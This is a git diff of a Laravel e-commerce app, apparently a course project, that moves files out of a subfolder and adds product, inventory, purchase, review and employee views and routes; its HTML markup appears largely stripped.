a/WebSecService/public/js/bootstrap.esm.js.map b/public/js/bootstrap.esm.js.map similarity index 100% rename from WebSecService/public/js/bootstrap.esm.js.map rename to public/js/bootstrap.esm.js.map diff --git a/WebSecService/public/js/bootstrap.esm.min.js b/public/js/bootstrap.esm.min.js similarity index 100% rename from WebSecService/public/js/bootstrap.esm.min.js rename to public/js/bootstrap.esm.min.js diff --git a/WebSecService/public/js/bootstrap.esm.min.js.map b/public/js/bootstrap.esm.min.js.map similarity index 100% rename from WebSecService/public/js/bootstrap.esm.min.js.map rename to public/js/bootstrap.esm.min.js.map diff --git a/WebSecService/public/js/bootstrap.js b/public/js/bootstrap.js similarity index 100% rename from WebSecService/public/js/bootstrap.js rename to public/js/bootstrap.js diff --git a/WebSecService/public/js/bootstrap.js.map b/public/js/bootstrap.js.map similarity index 100% rename from WebSecService/public/js/bootstrap.js.map rename to public/js/bootstrap.js.map diff --git a/WebSecService/public/js/bootstrap.min.js b/public/js/bootstrap.min.js similarity index 100% rename from WebSecService/public/js/bootstrap.min.js rename to public/js/bootstrap.min.js diff --git a/WebSecService/public/js/bootstrap.min.js.map b/public/js/bootstrap.min.js.map similarity index 100% rename from WebSecService/public/js/bootstrap.min.js.map rename to public/js/bootstrap.min.js.map diff --git a/WebSecService/public/robots.txt b/public/robots.txt similarity index 100% rename from WebSecService/public/robots.txt rename to public/robots.txt diff --git a/WebSecService/resources/css/app.css b/resources/css/app.css similarity index 100% rename from WebSecService/resources/css/app.css rename to resources/css/app.css diff --git a/WebSecService/resources/js/app.js b/resources/js/app.js similarity index 100% rename from WebSecService/resources/js/app.js rename to resources/js/app.js diff --git a/WebSecService/resources/js/bootstrap.js b/resources/js/bootstrap.js similarity index 100% rename from WebSecService/resources/js/bootstrap.js rename to resources/js/bootstrap.js diff --git a/WebSecService/resources/views/cryptography.blade.php b/resources/views/cryptography.blade.php similarity index 100% rename from WebSecService/resources/views/cryptography.blade.php rename to resources/views/cryptography.blade.php diff --git a/WebSecService/resources/views/emails/verification.blade.php b/resources/views/emails/verification.blade.php similarity index 100% rename from WebSecService/resources/views/emails/verification.blade.php rename to resources/views/emails/verification.blade.php diff --git a/WebSecService/resources/views/even.blade.php b/resources/views/even.blade.php similarity index 100% rename from WebSecService/resources/views/even.blade.php rename to resources/views/even.blade.php diff --git a/WebSecService/resources/views/layouts/master.blade.php b/resources/views/layouts/master.blade.php similarity index 100% rename from WebSecService/resources/views/layouts/master.blade.php rename to resources/views/layouts/master.blade.php diff --git a/WebSecService/resources/views/layouts/menu.blade.php b/resources/views/layouts/menu.blade.php similarity index 100% rename from WebSecService/resources/views/layouts/menu.blade.php rename to resources/views/layouts/menu.blade.php diff --git a/WebSecService/resources/views/multable.blade.php b/resources/views/multable.blade.php similarity index 100% rename from WebSecService/resources/views/multable.blade.php rename to resources/views/multable.blade.php diff --git a/WebSecService/resources/views/prime.blade.php b/resources/views/prime.blade.php similarity index 100% rename from WebSecService/resources/views/prime.blade.php rename to resources/views/prime.blade.php diff --git a/WebSecService/resources/views/products/edit.blade.php b/resources/views/products/edit.blade.php similarity index 100% rename from WebSecService/resources/views/products/edit.blade.php rename to resources/views/products/edit.blade.php diff --git a/resources/views/products/inventory.blade.php b/resources/views/products/inventory.blade.php new file mode 100644 index 00000000..ab91e379 --- /dev/null +++ b/resources/views/products/inventory.blade.php @@ -0,0 +1,56 @@ +@extends('layouts.master') +@section('title', 'Manage Inventory') +@section('content') +
+
+

Manage Inventory

+
+
+ +@if(session('message')) +
+ {{ session('message') }} +
+@endif + +@if($errors->any()) +
+ @foreach($errors->all() as $error) +

{{ $error }}

+ @endforeach +
+@endif + +
+
+ + + + + + + + + + + @foreach($products as $product) + + + + + + + @endforeach + +
#NameCurrent StockActions
{{ $product->id }}{{ $product->name }}{{ $product->stock_quantity }} items +
+ @csrf +
+ + +
+
+
+
+
+@endsection \ No newline at end of file diff --git a/resources/views/products/list.blade.php b/resources/views/products/list.blade.php new file mode 100644 index 00000000..12c03c54 --- /dev/null +++ b/resources/views/products/list.blade.php @@ -0,0 +1,158 @@ +@extends('layouts.master') +@section('title', 'Products') +@section('content') +
+
+

Products

+
+
+ @can('add_products') + Add Product + @endcan +
+
+ @can('manage_inventory') + Manage Stock + @endcan +
+
+ @auth + @if(auth()->user()->hasPermissionTo('view_purchases')) + My Purchases + @endif + @endauth +
+
+ +@auth + @if(auth()->user()->hasRole('Customer')) +
+
+ Your Credit Balance: ${{ number_format(auth()->user()->credit, 2) }} +
+ @if(auth()->user()->hasPermissionTo('view_purchases')) +
+ View Purchase History +
+ @endif +
+ @endif +@endauth + +@if(session('message')) +
+ {{ session('message') }} +
+@endif + +@if($errors->any()) +
+ @foreach($errors->all() as $error) +

{{ $error }}

+ @endforeach +
+@endif + +
+
+
+ +
+
+ +
+
+ +
+
+ +
+
+ +
+
+ +
+
+ +
+
+
+ +@foreach($products as $product) +
+
+
+
+ photo")}}" class="img-thumbnail" alt="{{$product->name}}" width="100%"> +
+
+
+
+

{{$product->name}}

+
+
+ @can('edit_products') + Edit + @endcan +
+
+ @can('delete_products') + Delete + @endcan +
+
+ + + + + + + + + @if($product->review) + + @endif +
Name{{$product->name}}
Model{{$product->model}}
Code{{$product->code}}
Price${{number_format($product->price, 2)}}
Stock{{$product->stock_quantity}} items
Description{{$product->description}}
Review{{$product->review}}
+ +
+
+ @auth + @if(auth()->user()->hasPermissionTo('buy_products')) + @if($product->isInStock()) +
+ @csrf + +
+ @else + + @endif + @endif + + @if(auth()->user()->hasPermissionTo('add_review')) + Review + @endif + +
+ @csrf + +
+ @endauth +
+
+
+
+
+
+@endforeach +@endsection \ No newline at end of file diff --git a/resources/views/products/manage_inventory.blade.php b/resources/views/products/manage_inventory.blade.php new file mode 100644 index 00000000..2c65bc6f --- /dev/null +++ b/resources/views/products/manage_inventory.blade.php @@ -0,0 +1,54 @@ +@extends('layouts.master') +@section('title', 'Manage Inventory') +@section('content') +
+
+

Manage Inventory

+
+
+ +@if(session('message')) +
+ {{ session('message') }} +
+@endif + +@if($errors->any()) +
+ @foreach($errors->all() as $error) +

{{ $error }}

+ @endforeach +
+@endif + +
+
+ + + + + + + + + + @foreach($products as $product) + + + + + + @endforeach + +
ProductCurrent StockActions
{{ $product->name }}{{ $product->stock_quantity }} +
+ @csrf +
+ + +
+
+
+
+
+@endsection \ No newline at end of file diff --git a/resources/views/products/review.blade.php b/resources/views/products/review.blade.php new file mode 100644 index 00000000..b5377962 --- /dev/null +++ b/resources/views/products/review.blade.php @@ -0,0 +1,32 @@ +@extends('layouts.master') +@section('title', 'Add Review') +@section('content') +
+
+

Add Review for {{$product->name}}

+
+
+ +
+ {{ csrf_field() }} + @foreach($errors->all() as $error) +
+ Error! {{$error}} +
+ @endforeach + +
+
+ + +
+
+ +
+
+ + Cancel +
+
+
+@endsection \ No newline at end of file diff --git a/resources/views/purchases/list.blade.php b/resources/views/purchases/list.blade.php new file mode 100644 index 00000000..9e97c57b --- /dev/null +++ b/resources/views/purchases/list.blade.php @@ -0,0 +1,40 @@ +@extends('layouts.master') +@section('title', 'My Purchases') +@section('content') +
+
+

My Purchases

+
+
+ +@if(session('message')) +
+ {{ session('message') }} +
+@endif + +
+
+ + + + + + + + + + + @foreach($purchases as $purchase) + + + + + + + @endforeach + +
#ProductPricePurchase Date
{{ $purchase->id }}{{ $purchase->product->name }}${{ number_format($purchase->price_at_purchase, 2) }}{{ $purchase->created_at->format('Y-m-d H:i:s') }}
+
+
+@endsection \ No newline at end of file diff --git a/WebSecService/resources/views/test.blade.php b/resources/views/test.blade.php similarity index 100% rename from WebSecService/resources/views/test.blade.php rename to resources/views/test.blade.php diff --git a/resources/views/users/create_employee.blade.php b/resources/views/users/create_employee.blade.php new file mode 100644 index 00000000..24481990 --- /dev/null +++ b/resources/views/users/create_employee.blade.php @@ -0,0 +1,45 @@ +@extends('layouts.master') +@section('title', 'Create Employee') +@section('content') +
+
+

Create Employee Account

+
+
+ +
+
+
+ @csrf + @foreach($errors->all() as $error) +
+ Error! {{ $error }} +
+ @endforeach + +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ + + Cancel +
+
+
+@endsection \ No newline at end of file diff --git a/WebSecService/resources/views/users/edit.blade.php b/resources/views/users/edit.blade.php similarity index 100% rename from WebSecService/resources/views/users/edit.blade.php rename to resources/views/users/edit.blade.php diff --git a/WebSecService/resources/views/users/edit_password.blade.php b/resources/views/users/edit_password.blade.php similarity index 100% rename from WebSecService/resources/views/users/edit_password.blade.php rename to resources/views/users/edit_password.blade.php diff --git a/WebSecService/resources/views/users/list.blade.php b/resources/views/users/list.blade.php similarity index 68% rename from WebSecService/resources/views/users/list.blade.php rename to resources/views/users/list.blade.php index 5bf682eb..9d28dfd0 100644 --- a/WebSecService/resources/views/users/list.blade.php +++ b/resources/views/users/list.blade.php @@ -6,6 +6,21 @@

Users

+ +@if(session('message')) +
+ {{ session('message') }} +
+@endif + +@if($errors->any()) +
+ @foreach($errors->all() as $error) +

{{ $error }}

+ @endforeach +
+@endif +
@@ -29,7 +44,8 @@ Name Email Roles - + Credit + Actions @foreach($users as $user) @@ -42,7 +58,17 @@ {{$role->name}} @endforeach + ${{number_format($user->credit ?? 0, 2)}} + @can('manage_sales') + + @csrf +
+ + +
+ + @endcan @can('edit_users') id])}}'>Edit @endcan diff --git a/WebSecService/resources/views/users/login.blade.php b/resources/views/users/login.blade.php similarity index 100% rename from WebSecService/resources/views/users/login.blade.php rename to resources/views/users/login.blade.php diff --git a/WebSecService/resources/views/users/profile.blade.php b/resources/views/users/profile.blade.php similarity index 86% rename from WebSecService/resources/views/users/profile.blade.php rename to resources/views/users/profile.blade.php index cc4b19fe..611fc478 100644 --- a/WebSecService/resources/views/users/profile.blade.php +++ b/resources/views/users/profile.blade.php @@ -10,6 +10,9 @@ Email{{$user->email}} + + Credit${{number_format($user->credit ?? 0, 2)}} + Roles @@ -30,6 +33,9 @@
+ @if($user->isCustomer()) + View Purchases + @endif
@if(auth()->user()->hasPermissionTo('admin_users')||auth()->id()==$user->id)
diff --git a/WebSecService/resources/views/users/register.blade.php b/resources/views/users/register.blade.php similarity index 100% rename from WebSecService/resources/views/users/register.blade.php rename to resources/views/users/register.blade.php diff --git a/WebSecService/resources/views/users/verified.blade.php b/resources/views/users/verified.blade.php similarity index 100% rename from WebSecService/resources/views/users/verified.blade.php rename to resources/views/users/verified.blade.php diff --git a/WebSecService/resources/views/welcome.blade.php b/resources/views/welcome.blade.php similarity index 100% rename from WebSecService/resources/views/welcome.blade.php rename to resources/views/welcome.blade.php diff --git a/routes/api.php b/routes/api.php new file mode 100644 index 00000000..1bb4a416 --- /dev/null +++ b/routes/api.php @@ -0,0 +1,12 @@ +group(function () { + Route::get('/users', [UsersController::class, 'users']); + Route::get('/logout', [UsersController::class, 'logout']); +}); diff --git a/WebSecService/routes/console.php b/routes/console.php similarity index 100% rename from WebSecService/routes/console.php rename to routes/console.php diff --git a/WebSecService/routes/web.php b/routes/web.php similarity index 79% rename from WebSecService/routes/web.php rename to routes/web.php index ba9b09fe..782b6695 100644 --- a/WebSecService/routes/web.php +++ b/routes/web.php @@ -3,12 +3,15 @@ use Illuminate\Support\Facades\Route; use App\Http\Controllers\Web\ProductsController; use App\Http\Controllers\Web\UsersController; +use App\Http\Controllers\Web\PurchaseController; Route::get('register', [UsersController::class, 'register'])->name('register'); Route::post('register', [UsersController::class, 'doRegister'])->name('do_register'); Route::get('login', [UsersController::class, 'login'])->name('login'); Route::post('login', [UsersController::class, 'doLogin'])->name('do_login'); Route::get('logout', [UsersController::class, 'doLogout'])->name('do_logout'); +Route::get('verify', [UsersController::class, 'verify'])->name('verify'); +Route::get('/auth/google', [UsersController::class, 'redirectToGoogle'])->name('login_with_google'); Route::get('users', [UsersController::class, 'list'])->name('users'); Route::get('profile/{user?}', [UsersController::class, 'profile'])->name('profile'); Route::get('users/edit/{user?}', [UsersController::class, 'edit'])->name('users_edit'); @@ -16,6 +19,7 @@ Route::get('users/delete/{user}', [UsersController::class, 'delete'])->name('users_delete'); Route::get('users/edit_password/{user?}', [UsersController::class, 'editPassword'])->name('edit_password'); Route::post('users/save_password/{user}', [UsersController::class, 'savePassword'])->name('save_password'); +Route::post('users/give_gift/{user}', [UsersController::class, 'giveGift'])->name('users_give_gift'); Route::get('verify', [UsersController::class, 'verify'])->name('verify'); Route::get('/auth/google', [UsersController::class, 'redirectToGoogle']) @@ -30,6 +34,9 @@ Route::get('products/edit/{product?}', [ProductsController::class, 'edit'])->name('products_edit'); Route::post('products/save/{product?}', [ProductsController::class, 'save'])->name('products_save'); Route::get('products/delete/{product}', [ProductsController::class, 'delete'])->name('products_delete'); +Route::get('products/review/{product}', [ProductsController::class, 'review'])->name('products_review'); +Route::post('products/save_review/{product}', [ProductsController::class, 'saveReview'])->name('products_save_review'); +Route::post('products/toggle_favorite/{product}', [ProductsController::class, 'toggleFavorite'])->name('products_toggle_favorite'); Route::get('/', function () { return view('welcome'); @@ -149,3 +156,17 @@ return view('cryptography', compact('data', 'result', 'action', 'status')); })->name('cryptography'); +Route::middleware(['auth'])->group(function () { + // ... existing routes ... + + // Purchase Routes + Route::post('/products/{product}/buy', [ProductsController::class, 'buy'])->name('products_buy'); + Route::get('/purchases', [PurchaseController::class, 'list'])->name('purchases'); + + // Inventory Management + Route::get('/products/inventory', [ProductsController::class, 'manageInventory'])->name('products_manage_inventory'); + Route::post('/products/{product}/stock', [ProductsController::class, 'updateStock'])->name('products_update_stock'); + + // ... existing routes ... +}); + diff --git a/WebSecService/storage/app/.gitignore b/storage/app/.gitignore similarity index 100% rename from WebSecService/storage/app/.gitignore rename to storage/app/.gitignore diff --git a/WebSecService/storage/app/private/.gitignore b/storage/app/private/.gitignore similarity index 100% rename from WebSecService/storage/app/private/.gitignore rename to storage/app/private/.gitignore diff --git a/WebSecService/storage/app/public/.gitignore b/storage/app/public/.gitignore similarity index 100% rename from WebSecService/storage/app/public/.gitignore rename to storage/app/public/.gitignore diff --git a/WebSecService/storage/framework/.gitignore b/storage/framework/.gitignore similarity index 100% rename from WebSecService/storage/framework/.gitignore rename to storage/framework/.gitignore diff --git a/WebSecService/storage/framework/cache/.gitignore b/storage/framework/cache/.gitignore similarity index 100% rename from WebSecService/storage/framework/cache/.gitignore rename to storage/framework/cache/.gitignore diff --git a/WebSecService/storage/framework/cache/data/.gitignore b/storage/framework/cache/data/.gitignore similarity index 100% rename from WebSecService/storage/framework/cache/data/.gitignore rename to storage/framework/cache/data/.gitignore diff --git a/WebSecService/storage/framework/sessions/.gitignore b/storage/framework/sessions/.gitignore similarity index 100% rename from WebSecService/storage/framework/sessions/.gitignore rename to storage/framework/sessions/.gitignore diff --git a/WebSecService/storage/framework/testing/.gitignore b/storage/framework/testing/.gitignore similarity index 100% rename from WebSecService/storage/framework/testing/.gitignore rename to storage/framework/testing/.gitignore diff --git a/WebSecService/storage/framework/views/.gitignore b/storage/framework/views/.gitignore similarity index 100% rename from WebSecService/storage/framework/views/.gitignore rename to storage/framework/views/.gitignore diff --git a/WebSecService/storage/logs/.gitignore b/storage/logs/.gitignore similarity index 100% rename from WebSecService/storage/logs/.gitignore rename to storage/logs/.gitignore diff --git a/WebSecService/tailwind.config.js b/tailwind.config.js similarity index 100% rename from WebSecService/tailwind.config.js rename to tailwind.config.js diff --git a/WebSecService/tests/Feature/ExampleTest.php b/tests/Feature/ExampleTest.php similarity index 100% rename from WebSecService/tests/Feature/ExampleTest.php rename to tests/Feature/ExampleTest.php diff --git a/WebSecService/tests/TestCase.php b/tests/TestCase.php similarity index 100% rename from WebSecService/tests/TestCase.php rename to tests/TestCase.php diff --git a/WebSecService/tests/Unit/ExampleTest.php b/tests/Unit/ExampleTest.php similarity index 100% rename from WebSecService/tests/Unit/ExampleTest.php rename to tests/Unit/ExampleTest.php diff --git a/WebSecService/vite.config.js b/vite.config.js similarity index 100% rename from WebSecService/vite.config.js rename to vite.config.js